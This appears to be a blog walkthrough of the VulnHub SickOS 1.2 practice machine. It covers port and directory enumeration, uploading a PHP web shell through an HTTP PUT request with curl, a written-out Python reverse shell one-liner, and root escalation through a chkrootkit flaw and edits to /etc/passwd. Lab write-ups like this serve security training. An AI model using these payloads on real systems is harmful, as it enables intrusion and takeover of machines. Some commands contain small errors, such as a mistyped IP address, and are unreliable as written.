![](https://i0.wp.com/steflan-security.com/wp-content/uploads/2021/01/SickOS-1.2.png?fit=1024%2C409&ssl=1)
VulnHub – SickOS 1.2 Walkthrough
Introduction
This is a Linux box that involved exploiting the PUT http method to upload a PHP script through which a reverse shell can be obtained, and then using a known vulnerability in the chkrootkit program to escalate to root.
Enumeration
The first thing to do is to run a TCP Nmap scan against the 1000 most common ports, and using the following flags:
- -sC to run default scripts
- -sV to enumerate applications versions
- -Pn to skip the host discovery phase, as some hosts will not respond to ping requests
- -oA to save the output in all formats available
![](https://i0.wp.com/steflan-security.com/wp-content/uploads/2021/01/image-102.png?resize=810%2C323&ssl=1)
Enumerating Port HTTP
When accessing the web server, the following page is displayed:
![](https://i0.wp.com/steflan-security.com/wp-content/uploads/2021/01/image-103.png?resize=810%2C651&ssl=1)
The source code does not have anything useful
![](https://i0.wp.com/steflan-security.com/wp-content/uploads/2021/01/image-104.png?resize=566%2C228&ssl=1)
The next step is to run a scan to find hidden files or directories using Wfuzz, with the following flags:
- -w to specify the word list to use
- –hc to exclude certain response codes
- specifying the URL to scan, using FUZZ to indicate which part to fuzz
![](https://i0.wp.com/steflan-security.com/wp-content/uploads/2021/01/image-105.png?resize=810%2C241&ssl=1)
It looks like the “/test” entry takes to a lighttpd 1.4.28 webserver
![](https://i0.wp.com/steflan-security.com/wp-content/uploads/2021/01/image-106.png?resize=722%2C294&ssl=1)
After searching on SearchSploit it looks like no known exploits are available
![](https://i0.wp.com/steflan-security.com/wp-content/uploads/2021/01/image-107.png?resize=702%2C95&ssl=1)
The other entries are forbidden:
![](https://i0.wp.com/steflan-security.com/wp-content/uploads/2021/01/image-109.png?resize=810%2C178&ssl=1)
![](https://i0.wp.com/steflan-security.com/wp-content/uploads/2021/01/image-110.png?resize=810%2C158&ssl=1)
When checking the available methods through curl, the PUT method is available. This could be used to upload a reverse shell.
curl -v -X OPTIONS 10.10.10.131/test
![](https://i0.wp.com/steflan-security.com/wp-content/uploads/2021/01/image-111.png?resize=717%2C342&ssl=1)
Exploiting file upload via PUT request
Using curl to upload a PHP file containing the following code which will allow us to remotely execute code:
curl -v -X PUT -d '<?php echo system($_REQUEST['cmd']);?>' http://10.10.131/test/stef.php
When accessing the file, this allows to remotely execute commands through the “cmd” parameter:
![](https://i0.wp.com/steflan-security.com/wp-content/uploads/2021/01/image-115.png?resize=693%2C130&ssl=1)
The next step is to set up a Netcat listener, which will catch our reverse shell when it is executed by the victim host, using the following flags:
- -l to listen for incoming connections
- -v for verbose output
- -n to skip the DNS lookup
- -p to specify the port to listen on
![](https://i0.wp.com/steflan-security.com/wp-content/uploads/2021/01/image-116.png?resize=729%2C40&ssl=1)
Executing a python reverse shell through the cmd parameter:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.131",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
![](https://i0.wp.com/steflan-security.com/wp-content/uploads/2021/01/image-117.png?resize=810%2C106&ssl=1)
Received a callback and established a reverse shell connection to the host:
![](https://i0.wp.com/steflan-security.com/wp-content/uploads/2021/01/image-118.png?resize=678%2C95&ssl=1)
Privilege Escalation
When inspecting the cron jobs on the machine, “chkrootkit” stands out:
![](https://i0.wp.com/steflan-security.com/wp-content/uploads/2021/01/image-119.png?resize=760%2C365&ssl=1)
Chkrootkit is a common Unix based program intended to help system administrators check their system for known rootkits.
Using SearchSploit to find known vulnerabilities in chkrootkit
![](https://i0.wp.com/steflan-security.com/wp-content/uploads/2021/01/image-121.png?resize=775%2C80&ssl=1)
Checking the chkroot version on the box – it matches the one in the exploit
![](https://i0.wp.com/steflan-security.com/wp-content/uploads/2021/01/image-122.png?resize=753%2C74&ssl=1)
Having a look at the exploit, it looks like the slapper function is expecting a file (in file_port) and if left empty, chkrootkit will simply execute as root all files with a name of “update”, as no quotation marks were specified in this variable’s path:
![](https://i0.wp.com/steflan-security.com/wp-content/uploads/2021/01/image-123.png?resize=810%2C357&ssl=1)
Below it lists the steps required to exploit this vulnerability:
![](https://i0.wp.com/steflan-security.com/wp-content/uploads/2021/01/image-124.png?resize=810%2C479&ssl=1)
Created a quick bash script to change the permissions of the /etc/passwd file
![](https://i0.wp.com/steflan-security.com/wp-content/uploads/2021/01/image-125.png?resize=443%2C118&ssl=1)
A new root user can be created by adding a new line to the /etc/passwd file. The steps required are the following:
- Reading a few lines from the /etc/passwd file to verify the format
- Generating a new password hash using openssl
- Adding a new line to the /etc/passwd file, replacing the “x” with the previously created password hash
This could not be achieved with the sed command as the current user did not have permission to write a temporary file in the /etc folder. In this scenario I decided to instead replace the user’s root password.
This can be done using awk or echo, as shown below:
![](https://i0.wp.com/steflan-security.com/wp-content/uploads/2021/01/image-126.png?resize=681%2C198&ssl=1)
Logging in using SSH as the newly created user:
![](https://i0.wp.com/steflan-security.com/wp-content/uploads/2021/01/image-128.png?resize=810%2C255&ssl=1)
Conclusion
This was a really fun box, although the initial exploitation process wasn’t that hard it is definitely not something you see every day. What I liked most was the vulnerability in the chkrootkit tool, as this rootkit detection tool is something you see quite often in Linux and not something you’d expect to carry such a critical vulnerability.